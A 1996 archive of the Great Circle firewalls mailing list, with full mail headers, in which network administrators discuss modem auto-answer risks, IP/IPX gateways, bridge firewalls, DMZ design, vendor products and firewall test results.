On Tue, 12 Mar 1996 18:05:31 -0900, Vinci Chou <vkmchou@HK.Super.NET> wrote:
>Wayne Gifford - Internet Commerce Group wrote:
>> If someone can log in from the outside while you are connected or
>> happens to find your modem's phone number, you've been breached.
>
>If I have the auto-answer of my modem turned-off, is this still true ?
Not completely.  Disabling autoanswer will stop the modem autonomously
answering the call.  Some (maybe all) modems will still report
incoming calls over the serial port (eg `RING').  The software in your
computer can then choose to answer the call (by sending `ATO' from
memory).

I don't know if any standard software packages will do this, but its
worth keeping in mind.

Peter.

From firewalls-owner  Wed Mar 13 13:51:53 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA06090 for firewalls-outgoing; Wed, 13 Mar 1996 12:21:54 -0800 (PST)
Received: from habanero.jmu.edu (habanero.jmu.edu [134.126.70.210]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id MAA06058 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 12:21:48 -0800 (PST)
Message-Id: <199603132021.MAA06058@miles.greatcircle.com>
Received: by habanero.jmu.edu
	(1.37.109.16/16.2) id AA297597752; Wed, 13 Mar 1996 15:09:12 -0500
Date: Wed, 13 Mar 1996 15:09:12 -0500
From: gary flynn <gary@habanero.jmu.edu>
To: firewalls@greatcircle.com
Subject: V-One vs Raptor vs SecureWare ???
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Hello,

I am trying to find a product that provides transparent encryption
of the communications session and possibly authentication between
multiple clients and multiple servers
.  
By transparent, I mean that no application or hardware modifications 
need to be done. I have identified three products which seem to fulfill 
the requirements:

SecureWare Hannah   (end-to-end solution installed on each machine)

Raptor EagleLAN     (end-through-gateway solution installed on client
					 machine which results in encrypted session to
					 EagleLAN box in front of target resources)

V-One SmartGate     (end-through-gateway solution installed on client
					 machine which results in encrypted session to
					 SmartGate box in front of target resources)

The Hannah and SmartGate products also provide authentication. The
EagleLAN and SmartGate products can work in association with the 
respective vendors' firewall products.

Does anyone have any experience with these products or care to comment
on their architectures?

Has anyone tied other authentication schemes (TACACS, RADIUS, KERBEROS, etc.)
to these products? Are there hooks in these authentication schemes that
would allow an external application to use them?

Thank you very much for any replies or heated discussion :-)

Gary Flynn
Network Manager
James Madison University

From firewalls-owner  Wed Mar 13 14:43:09 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id NAA09422 for firewalls-outgoing; Wed, 13 Mar 1996 13:21:39 -0800 (PST)
Received: from svcs1.digex.net (svcs1.digex.net [204.91.197.224]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id NAA09417 for <firewalls@GreatCircle.com>; Wed, 13 Mar 1996 13:21:33 -0800 (PST)
Received: from mambo (fred.digex.net [164.109.213.78]) by svcs1.digex.net (8.6.12/8.6.12) with SMTP id QAA29571; Wed, 13 Mar 1996 16:19:42 -0500
Message-ID: <31473B54.4E97@access.digex.net>
Date: Wed, 13 Mar 1996 16:17:08 -0500
From: "Eliot T. Ware" <etware@access.digex.net>
X-Mailer: Mozilla 2.0GoldB1 (WinNT; I)
MIME-Version: 1.0
To: Adam Prato <adamp@mickey.ovid.com>
CC: Firewall ListServer <firewalls@GreatCircle.com>
Subject: Re: IP/IPX gateways
References: <Pine.A32.3.91.960313084649.24109A-100000@mickey.ovid.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Adam Prato wrote:
> 
> On Wed, 13 Mar 1996, Jeffry Tank wrote:
> 
> > Date: Wed, 13 Mar 1996 07:45:38 -0500
> > From: Jeffry Tank <jtankf@vsecorp.com>
> > To: firewalls@greatcircle.com
> > Subject: IP/IPX gateways
> >
> > Can anyone tell me if it true that by putting an IP/IPX gateway between your
> > internal IPX lan and your internet server, you can prevent _all_ attacks to
> > your system from the outside (the internet)? Seem too simple to me, but some
> > folks at my company insist that this is true.  What about IPX packets
> > wrapped in an IP layer? (assuming this can be done) Then when the IP layer
> > is stripped off at the gateway couldn't the IPX parkets contain info to
> > inflict damage to the internal network, at say the Novell server?
> 
> It's totally *untrue* however, their claim has merit.
> 
> Most IP/IPX gateways are probably some sort of router that has access-list
> capability. With these access-lists you can build up an access table that
> is clearly defined by your security policy. The trouble is, building a table
> that doesn't leave any holes. Thus, its very plausible to just shut everything
> off........
> 
> However, The way TCP/IP functions, is that any connection from a local client
> to a remote server (be it DNS, Telnet, FTP, HTTP, IRC, just about any service),
> requires that a local port be opened up, greater than 1024, and its bound to
> a remote port, at whatever port it is. Thus you have to allow *every port*
> above 1024 for both TCP and UDP to cross, otherwise you will not be able to
> telnet out (brings back memories of my first cisco access-list configuration,
> reminiscing). Thus this is one hole that you open up since X (quite insecure),
> NFS, and YP all use ports > 1024 (however the former  are somewhat protected
> since portmapper would have been blocked at port 111). You would have to
> periodically scan your network from the 'outside' to see what sockets are
> listening to high end port numbers, and make sure that no nasty insecure
> services are listening there. Once you've found them all you would have to
> deny them in your access table.
> 
> Another reason *not* to trust this idea is that a while back, many routers were
> vulnerable to packet fragmentation attacks, where an attacker hides his attack
> in smaller encapsulated packets. Also, if not configured properly (which isn't
> hard to do), the router's access-list can easily be bypassed with a spoofed
> IP header. IMO, there are just too many ifs, buts, and other loose ends with
> this kind of security. I'm still learning about firewalling, but from my
> perspective, it offers a definite improvement over the 'packet filter' approach
> to network security.
> 
> Adam
> end port numbers, and make sure you turn anything off that is dangerous.

I'm no wizard (or even a novice) in this area but in reading what Adam has 
written, doesn't this presuppose the presence of IP on the inside?  If there
is no IP on the inside then where is the attacker going?

- Eliot
-- 
Eliot T. Ware, CNE			voice:  (202) 622-1302
Global Systems Architect		  fax:  (202) 622-2582
Department of the Treasury (UNIBAND)
preferred:  etware@access.digex.net
alternate:  eliot.ware@treas.sprint.com

From firewalls-owner  Wed Mar 13 14:48:38 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA11196 for firewalls-outgoing; Wed, 13 Mar 1996 14:03:52 -0800 (PST)
Received: from nsco.network.com (nsco.network.com [129.191.1.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id OAA11189 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 14:03:44 -0800 (PST)
Received: from anubis.network.com by nsco.network.com (4.1/1.34)
	id AA00927; Wed, 13 Mar 96 16:05:33 CST
Received: from blefscu.network.com by anubis.network.com (4.1/SMI-4.1)
	id AA14061; Wed, 13 Mar 96 16:03:57 CST
Date: Wed, 13 Mar 96 16:03:57 CST
From: amolitor@anubis.network.com (Andrew Molitor)
Message-Id: <9603132203.AA14061@anubis.network.com>
To: firewalls@greatcircle.com
Subject: RE: Sunscreen experiences
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

	My take on this is that structuring the firewall as a bridge has
a fair number of advantages:

	- transparent installation, you don't have to monkey around with
	  subnetting. This is *cool*.
	- protocol independence, you can (if you like) handle anything that
	  shows up on the wire, by 'merely' writing software.
	- better information. You have MAC addresses and whatnot very handy,
	  since you are (by definition) down in the kernel.

	- I think there are some opportunities for better spoofing of
	  things, but as I cannot formulate why, I have a nasty suspicion that
	  I am wrong here.

	The down sides are:

	- your CPU gets hammered on busy networks, since you have to be
	  fondling every packet on the wire, not just stuff in-transit.
	  You don't have fancy filtering hardware to ditch the frames that
	  you don't have to look at, like a real bridge does.
	- you either have to implement spanning tree stuff and interoperate
	  with real bridges (a pain) or accept that fact that if some idiot
	  puts a loop in the network, you are dead.

	Has anyone tried looping a network with a SunScreen in it to see what
happens? It occurs to me that these two problems could be handled by hiding
the BridgeWall between two real bridges, though this would be weird and
wonderful.

	When I was experimenting with some fast packet filtering technologies
under Linux, I implemented it in a simple bridge. Worked pretty well, simple,
seamless, and performance limited by the ethernet drivers.


		Andrew

From firewalls-owner  Wed Mar 13 15:21:42 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id PAA15580 for firewalls-outgoing; Wed, 13 Mar 1996 15:13:22 -0800 (PST)
Received: from igate.hibbertco.com (hibbertco.com [204.240.226.14]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id PAA15569 for <firewalls-digest@GreatCircle.COM>; Wed, 13 Mar 1996 15:13:15 -0800 (PST)
Received: by igate.hibbertco.com (5.x/)
	id AA24834; Wed, 13 Mar 1996 16:11:41 -0700
Received: from imailgw(204.240.226.72) by igate via smap (V1.3)
	id sma024825; Wed Mar 13 16:11:37 1996
Message-Id: <n1385388830.29669@imailgw.hibbertco.com>
Date: 13 Mar 1996 16:11:16 -0700
From: "Anton Rager" <arager@hibbertco.com>
Subject: DMZ to Internal Net Security Holes
To: "firewall-digest" <firewalls-digest@GreatCircle.COM>
X-Mailer: Mail*Link SMTP-MS 3.0.2
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Ok Everyone -- Here's a question:

I understand the importance of a firewall, but there are some glaring holes
that I am having problems solving. 

Imagine on online ordering system (WWW based) that must be tied to internal
database resources --  Following conventional firewall design, the WWW server
would be in the DMZ, an application gateway (firewall) would allow proxies for
internal<->DMZ access.  Here's the catch -- if this is a true online system
(WWW->SQL calls to internal SQL based Order Processing System) then _WHEN_
your WWW server is comprimised.......your firewall is useless.  Whoever
comprimises the WWW server will access to all internal systems that the WWW
server does [fairly destructive access to your internal database
server]...They would then be coming from a trusted host -- What are some good
preventative measures with this scenario????  

This obviously applies to more than just ordering systems......Any DMZ
initiated communications to internal devices (FTP, SQL, Email) can be
comprimised if a device in the DMZ is comprimised.  Any thoughts??

Anton Rager
arager@hibbertco.com

From firewalls-owner  Wed Mar 13 16:18:22 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id QAA19181 for firewalls-outgoing; Wed, 13 Mar 1996 16:13:29 -0800 (PST)
Received: from spirited.vividimage.com (spirited.primeoption.com [199.0.1.110]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id QAA19175 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 16:13:23 -0800 (PST)
Received: from carlsbadpo.vividimage.com (carlsbadpo [204.118.20.3]) by spirited.vividimage.com (8.6.13/8.6.12) with SMTP id QAA04780 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 16:24:05 -0800
Received: by carlsbadpo.vividimage.com with Microsoft Mail
	id <314763D9@carlsbadpo.vividimage.com>; Wed, 13 Mar 96 16:10:01 PST
From: Barton Kirk Baenisch <bbaenisch@vividimage.com>
To: "firewalls@greatcircle.com" <firewalls@greatcircle.com>
Subject: Where is the SunOS 4.1.3_U1 ip_input.c from Brad Powell?
Date: Wed, 13 Mar 96 16:10:00 PST
Message-ID: <314763D9@carlsbadpo.vividimage.com>
X-Mailer: Microsoft Mail V3.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Ladies & Gentlemen-

     I just spent some time discovering that I need ip_input.c
or a hacked ip_input.o to disable ip_source_routing on SunOS 4.1.3_U1.
I noticed that Brad Powell is alleged to have posted such things to this
list at one time, but I ran out of patience trying to find it.  Would 
someone
point me in the right direction, please?

Thanks,
     Bart

bbaenisch@wideopentotheworld.pleasedonthackus.com
or
bbaenisch@vividimage.com

From firewalls-owner  Wed Mar 13 16:35:57 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id QAA19142 for firewalls-outgoing; Wed, 13 Mar 1996 16:12:23 -0800 (PST)
Received: from sunthing.sjsinc.com (sunthing.sjsinc.com [140.174.165.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id QAA19135 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 16:12:18 -0800 (PST)
Received: by sunthing.sjsinc.com 
	Mailer: sendmail (8.6.12/8.6.9)
	Protocol: 
	Id: QAA06392; Wed, 13 Mar 1996 16:10:03 -0800
Date: Wed, 13 Mar 1996 16:10:03 -0800
From: sjs@sunthing.sjsinc.com (Stefan Jon Silverman)
Message-Id: <199603140010.QAA06392@sjsinc.com>
To: firewalls@greatcircle.com
Subject: Re: Security of Networked Workstations with dial-up PPP Internet!!!
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Folks:

> 
> On Tue, 12 Mar 1996 18:05:31 -0900, Vinci Chou <vkmchou@HK.Super.NET> wrote:
> >Wayne Gifford - Internet Commerce Group wrote:
> >> If someone can log in from the outside while you are connected or
> >> happens to find your modem's phone number, you've been breached.
> >

And Peter Jeremy <jeremyp@gsms01.alcatel.com.au> replied:

> >If I have the auto-answer of my modem turned-off, is this still true ?
> Not completely.  Disabling autoanswer will stop the modem autonomously
> answering the call.  Some (maybe all) modems will still report
> incoming calls over the serial port (eg `RING').  The software in your
> computer can then choose to answer the call (by sending `ATO' from
> memory).
> 
> I don't know if any standard software packages will do this, but its
> worth keeping in mind.
> 

	The public domain package for Un*x "mgetty" (part of sendfax+mgetty)
actually relies on this mechinism as part of its security filitering
processing (checking caller ID before answering, etc.). It requires that
the modem be set with auto-answer off and that the ring signal be passed
through to the daemon. The daemon will then answer the phone, determine
the type of traffic coming in (fax, slip, ppp, login) and activate the
appropriate user configurable program.

> Peter.
> 

	Regards,

	b c++'ing u,

	%-) sjs

PS:	I am my own employer, therefore: "all opinions are twice spoken for;"
	and they do, in fact, scare the hell out of said employer!!!

-------------------------------------------------------------------------------
Stefan Jon Silverman - President                     SJS Associates, N.A., Inc.
                                                            572 Chestnut Street
Distributed Systems Architecture & Implementation      San Francisco, Ca. 94133
                                                            Phone: 415 989 2741
                                                            Fax:   415 989 7250
E-mail: sjs@sjsinc.com                                      Cell:  415 519 3494
-------------------------------------------------------------------------------
                  Weebles wobble, but they don't fall down!!!
-------------------------------------------------------------------------------

From firewalls-owner  Wed Mar 13 17:50:45 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA23794 for firewalls-outgoing; Wed, 13 Mar 1996 17:40:24 -0800 (PST)
Received: from lint.cisco.com (lint.cisco.com [171.68.235.77]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id RAA23780 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 17:40:19 -0800 (PST)
Received: from pferguso-pc.cisco.com (c3robo12.cisco.com [171.68.13.76]) by lint.cisco.com (8.6.10/CISCO.SERVER.1.1) with SMTP id RAA09774; Wed, 13 Mar 1996 17:37:39 -0800
Message-Id: <199603140137.RAA09774@lint.cisco.com>
X-Sender: pferguso@lint.cisco.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 13 Mar 1996 20:38:31 -0500
To: GUINET Thierry <thierry@namsa.nato.int>
From: Paul Ferguson <pferguso@cisco.com>
Subject: Re: Visa/MasterCard SET
Cc: firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Surf:

 http://www.visa.com

They have a 'Click here for SET information' button. :-)

- paul

At 09:02 AM 3/13/96 +0100, GUINET Thierry wrote:

>Hi there,
>
>Sorry for this somehow off-topic question. But I believe I read something
>about SET (Secured Electronic Transaction) from this mailing-list.
>Could somebody point me to the right place?
>TIA
>
>
>Thierry Guinet 			   |NAMSA Luxembourg (Europe)
>Systems & Network programmer	   |NATO Maintenance & Supply Agency
>T.Guinet@namsa.nato.int		   |Phone: +352/30.63-6812
>				   |Fax  : +352/30.87.21
>

--
Paul Ferguson                                           ||        ||
Consulting Engineering                                  ||        ||
Reston, Virginia   USA                                 ||||      ||||
tel: +1.703.716.9538                               ..:||||||:..:||||||:..
e-mail: pferguso@cisco.com                         c i s c o S y s t e m s


From firewalls-owner  Wed Mar 13 19:03:22 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id SAA26915 for firewalls-outgoing; Wed, 13 Mar 1996 18:48:31 -0800 (PST)
Received: from gatekeep.genmagic.com (gatekeep.genmagic.com [192.216.16.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id SAA26902 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 18:48:26 -0800 (PST)
Received: from  (genmagic.genmagic.com [10.1.4.12]) by gatekeep.genmagic.com (8.6.9/8.6.9) with SMTP id SAA05732 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 18:46:48 -0800
Received: from abulafia.genmagic.com by genmagic (4.1/SMI-4.1/JBS)
	id AA01760; Wed, 13 Mar 96 18:46:16 PST
Received: by abulafia.genmagic.com (940816.SGI.8.6.9/930416.SGI)
	 id SAA29675; Wed, 13 Mar 1996 18:46:15 -0800
Date: Wed, 13 Mar 1996 18:46:15 -0800
From: jet@abulafia.genmagic.com (J. Eric Townsend)
Message-Id: <199603140246.SAA29675@abulafia.genmagic.com>
To: firewalls@GreatCircle.COM
Subject: Cisco PIX experiences?
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


I've only just heard about this... Any experiences yet?


From firewalls-owner  Wed Mar 13 19:18:11 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id TAA27653 for firewalls-outgoing; Wed, 13 Mar 1996 19:05:20 -0800 (PST)
Received: from lint.cisco.com (lint.cisco.com [171.68.235.77]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id TAA27645 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 19:05:14 -0800 (PST)
Received: from pferguso-pc.cisco.com (c2robo8.cisco.com [171.68.13.40]) by lint.cisco.com (8.6.10/CISCO.SERVER.1.1) with SMTP id TAA03233; Wed, 13 Mar 1996 19:02:36 -0800
Message-Id: <199603140302.TAA03233@lint.cisco.com>
X-Sender: pferguso@lint.cisco.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 13 Mar 1996 22:03:30 -0500
To: Sick Puppy <sikpuppy@maestro.com>
From: Paul Ferguson <pferguso@cisco.com>
Subject: Re: Dawg Confesses: I did Princess Dianna.
Cc: firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Without a trace, its tough to tell, but I'd guess that they're
either BootP or DHCP requests/responses.

- paul

At 12:38 PM 3/13/96 -0500, Sick Puppy wrote:

>Naah.  The subject line is just another lie to help sell newspapers.
>
>In the course of general sniffing about I occasionally see ICMP packets 
>with an IP address of 0.0.0.0 going across the network.  Most machines 
>seem to ignore these packets, but some machines that seem to be in some 
>kind of cluster respond to them as if they had been pinged.  The firewalls 
>these packets hit simply seem to discard the packets.
>
>What are these packets?  Sorry if this is a dumb question.
>                                    
>                                    SP, tCED
>                                    Photonic & Tachyonic Systems Engineer
>
>                 -=:( Deliciously abused by Char ):=-
>         -=:(  How could anything that feels so good be so wrong ):=-
>

--
Paul Ferguson                                           ||        ||
Consulting Engineering                                  ||        ||
Reston, Virginia   USA                                 ||||      ||||
tel: +1.703.716.9538                               ..:||||||:..:||||||:..
e-mail: pferguso@cisco.com                         c i s c o S y s t e m s


From firewalls-owner  Wed Mar 13 20:06:37 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id TAA01084 for firewalls-outgoing; Wed, 13 Mar 1996 19:58:28 -0800 (PST)
Received: from homeport.org (lighthouse.homeport.org [205.136.65.198]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id TAA01063 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 19:58:20 -0800 (PST)
Received: (adam@localhost) by homeport.org (8.6.9/8.6.9) id XAA12009; Wed, 13 Mar 1996 23:00:51 -0500
From: Adam Shostack <adam@homeport.org>
Message-Id: <199603140400.XAA12009@homeport.org>
Subject: Re: Firewalls: NT versus UNIX
To: samman-ben@CS.YALE.EDU (Rev. Ben)
Date: Wed, 13 Mar 1996 23:00:51 -0500 (EST)
Cc: firewalls@GreatCircle.COM
In-Reply-To: <Pine.A32.3.91.960312122530.56056B-100000@POWERED.ZOO.CS.YALE.EDU> from "Rev. Ben" at Mar 12, 96 12:28:52 pm
X-Mailer: ELM [version 2.4 PL24 ME8b]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Rev. Ben wrote:
| > Looks to me that you'll need a FreeBSD or Linux box on the
| > clone-of-the month that's cheapest.  There have been some excellent
| > postings in months past that detail things to "harden" the OS such as
| > using read-only file systems, chroot etc.  Accompany that with free or
| > public domain proxies and servers of your choice.
| 
| Speaking of this, how do people feel about using this route as a 'cheap' 
| firewall for quick and dirty distribution within an internal network--say 
| as gateway machines to internal networks?
| 
| MIS could periodically distribute CD-ROMs with the current configuration 
| of the month to all the different sites and have them run them behind the 
| firewall--make for a significantly harder internal network.

	I think using cheap PCs as internal firewalls is great, only I
don't know of many sites with enough firewalls to make pressing cds
worthwhile.  A firewall should be configured and monitored, and once
its in shape and working, changed as infrequently as possible.  (Less
work for us consultants, but good security practice nonetheless. :)

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume


From firewalls-owner  Wed Mar 13 21:49:31 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA07792 for firewalls-outgoing; Wed, 13 Mar 1996 21:42:38 -0800 (PST)
Received: from gate1.dttus.com (gate1.dttus.com [205.160.40.75]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA07769 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 21:42:27 -0800 (PST)
Received: from cc1.dttus.com by gate1.dttus.com (5.x/SMI-SVR4)
	id AA03038; Wed, 13 Mar 1996 23:40:56 -0600
Received: from ccMail by cc1.dttus.com (SMTPLINK V2.11 PreRelease 4)
	id AA826789245; Wed, 13 Mar 96 23:38:28 CST
Date: Wed, 13 Mar 96 23:38:28 CST
From: "Ronald Hale" <rhale@dttus.com>
Message-Id: <9602138267.AA826789245@cc1.dttus.com>
To: firewalls@greatcircle.com, peterg@mccaw-stg.com (Peter Gregory)
Subject: Re: books on security policies
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

     Peter Gregory writes asking about books that discuss security 
     policies...
     
     One book that does not contain actual policies but discusses 
     management issues in information protection is Information Protection 
     and Other unnatural Acts written by Harry DeMaio and published by the 
     American Management Association.  Harry can be reached at 
     hdemaio@dttus.com.
     
     The book addresses a significant problem in protecting information - 
     it is against our nature to keep secrets.  From there it discusses an 
     architectural approach to protection and the driving force behind 
     architecture - the policy.
     
     Ron Hale
     Deloitte & Touche LLP


______________________________ Reply Separator _________________________________
Subject: books on security policies
Author:  peterg@mccaw-stg.com (Peter Gregory) at Internet-USA
Date:    3/11/96 7:14 PM


folks,
     
are there any books in print that address real-life security policies? 
there are any number of books on security (both networks and systems), but 
none that i have seen to date discuss - in any detail - an organization's 
security policies: what they should include, etc.
     
thanks,
     
peter gregory
     
--
     
Peter Gregory  [NICname PG11]  peter.gregory@attws.com
Systems/Network Architect, AT&T Wireless Services, Strategic Technologies Group


From firewalls-owner  Wed Mar 13 22:05:33 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA07930 for firewalls-outgoing; Wed, 13 Mar 1996 21:44:26 -0800 (PST)
Received: from okjunc.junction.net (okjunc.junction.net [199.166.227.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA07895 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 21:44:14 -0800 (PST)
Received: from sidhe.memra.com (sidhe.memra.com [199.166.227.105]) by okjunc.junction.net (8.6.11/8.6.11) with SMTP id VAA07157; Wed, 13 Mar 1996 21:52:50 -0800
Date: Wed, 13 Mar 1996 22:42:31 -0800 (PST)
From: Michael Dillon <michael@memra.com>
To: Steve Benesko/CTI <Steve_Benesko@cti.ca>
cc: firewalls <firewalls@GreatCircle.COM>
Subject: Re: IP/IPX gateways
In-Reply-To: <9603132258.AA0383@notes.cti.ca>
Message-ID: <Pine.BSF.3.91.960313223817.1054U-100000@sidhe.memra.com>
Organization: Memra Software Inc. - Internet consulting
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On 13 Mar 1996, Steve Benesko/CTI wrote:

> For instance, a few sites that I have configured use Quarterdeck's Iware 
> Connect (similar to internet junction).  With Iware, Netware IP has to be 
> enabled on at least 1 Netware server. Now with NO TCPIP services installed 
> (such as Telnet, FTP, etc.) what could the zones of risk possibly be for 
> NetWare?

I have a Windows 3.1 laptop with a WWW server installed (freeware). I 
assume anybody on your internal network could do likewise. There are also
freeware ftp servers out there and at least one telnet client that can 
act as an ftp server while the telnet session is in progress. 

Then there is that bright guy in accounting who decides to set up an 
internal www server with access to all the customer billing information 
and sets it up as http://www.yourcompany.com. Oops, now everybody hunting 
for your public WWW server gets the not-confidential-any-more facts and 
figures.

Of course, I don't know any of these Novell-based products and I could be 
completely wrong about the degree of packet filtering and so forth...

Michael Dillon                                    Voice: +1-604-546-8022
Memra Software Inc.                                 Fax: +1-604-546-3049
http://www.memra.com                             E-mail: michael@memra.com


From firewalls-owner  Wed Mar 13 22:48:40 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id WAA10431 for firewalls-outgoing; Wed, 13 Mar 1996 22:34:52 -0800 (PST)
Received: from nsco.network.com (nsco.network.com [129.191.1.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id WAA10402 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 22:34:38 -0800 (PST)
Received: from mnbp.network.com (ushub.network.com) by nsco.network.com (4.1/1.34)
	id AA06663; Thu, 14 Mar 96 00:36:29 CST
Received: by mnbp.network.com with Microsoft Mail
	id <3147BD19@mnbp.network.com>; Thu, 14 Mar 96 00:30:49 CST
From: Craig McLellan <mclelcl@onto.network.com>
To: firewalls <firewalls@greatcircle.com>
Subject: RE: V-One vs Raptor vs SecureWare ???
Date: Thu, 14 Mar 96 00:29:00 CST
Message-Id: <3147BD19@mnbp.network.com>
X-Mailer: Microsoft Mail V3.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


What's your time frame?


 ----------
From: firewalls-owner
To: firewalls
Subject: V-One vs Raptor vs SecureWare ???
Date:  March 13, 1996 15:09


Hello,

I am trying to find a product that provides transparent encryption
of the communications session and possibly authentication between
multiple clients and multiple servers

From firewalls-owner  Wed Mar 13 23:03:50 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id WAA10830 for firewalls-outgoing; Wed, 13 Mar 1996 22:46:18 -0800 (PST)
Received: from interlock.mgh.com (interlock.mgh.com [152.159.1.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id WAA10825 for <firewalls@greatcircle.com>; Wed, 13 Mar 1996 22:46:13 -0800 (PST)
From: dnewman@mcgraw-hill.com
Received: by interlock.mgh.com id AA17831
  (InterLock SMTP Gateway 3.0 for firewalls@greatcircle.com);
  Thu, 14 Mar 1996 01:44:29 -0500
Message-Id: <199603140644.AA17831@interlock.mgh.com>
Received: by interlock.mgh.com (Protected-side Proxy Mail Agent-1);
  Thu, 14 Mar 1996 01:44:29 -0500
Date: Thu, 14 Mar 96 00:48:14 EDT
To: scottb@iis.net, firewalls@greatcircle.com
Subject: Re: Raptor Product and other comparison of firewalls 
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

     
     Sorry, Scott, but the version you set forth isn't quite accurate. To 
     set the record straight:
     
     Raptor Eagle had a bug which gave it unfavorable performance results 
     in the test published in Data Comm's November 21, 1995 issue (now 
     available at www.data.com). To Raptor's credit, the company quickly 
     found and fixed the bug. Raptor then came back to the test lab for a 
     vendor-sponsored retest. Eagle outperformed all other products in the 
     retest. 
     
     This was done on the same test bed, using the same test application. 
     The only thing that changed was the Eagle code. There wasn't any "flaw" 
     in the test that caused Eagle to fare better the second time around.
     
     Regards
     
     David Newman                               dnewman@data.com 
     Director, Data Comm Test Program         voice 212-512-6182 
     Data Communications magazine               fax 212-512-6833
     
     
     
     
     From: Scott Bartram <scottb@iis.net> 
     Date: Wed, 13 Mar 1996 13:03:54 -0500
     Subject: Re: Raptor Product and other comparison of firewalls 
     
     > 
     > Hi all,
     > 
     > Data Communications has performed a very interesting comparison of a 
     lot of
     >  firewalls.
     > Let's say that Raptor product was not the best. Far away.
     
     You're operating with outdated information. DataComm's test was flawed 
     and
     in fact, they have a revised article in this week's issue.
     
     I think you'll find that Raptor does slightly better in the second 
     round ;-)
     
     scott
     


From firewalls-owner  Wed Mar 13 23:18:22 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id XAA12214 for firewalls-outgoing; Wed, 13 Mar 1996 23:04:17 -0800 (PST)
Received: from ns1.ptd.net (ns1.ptd.net [198.80.46.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id XAA12209 for <firewalls@GreatCircle.COM>; Wed, 13 Mar 1996 23:04:08 -0800 (PST)
Received: from ns1.ptd.net (sgaul@postoffice.ptd.net [198.80.46.11]) by ns1.ptd.net (8.7.3/8.7.3) with SMTP id BAA04378; Thu, 14 Mar 1996 01:55:01 -0500 (EST)
Date: Thu, 14 Mar 1996 01:55:00 -0500 (EST)
From: Stefan Gal <sgaul@postoffice.ptd.net>
X-Sender: sgaul@ns1.ptd.net
To: Philippe Cayphas <pc@godel2.bim.be>
cc: marie@XAIT.Xerox.COM, firewalls@GreatCircle.COM
Subject: Re: Raptor Product and other comparison of firewalls
In-Reply-To: <9603131544.AA00594@galileo.mumath>
Message-ID: <Pine.SOL.3.91.960314014747.3612A-100000@ns1.ptd.net>
MIME-Version: 1.0
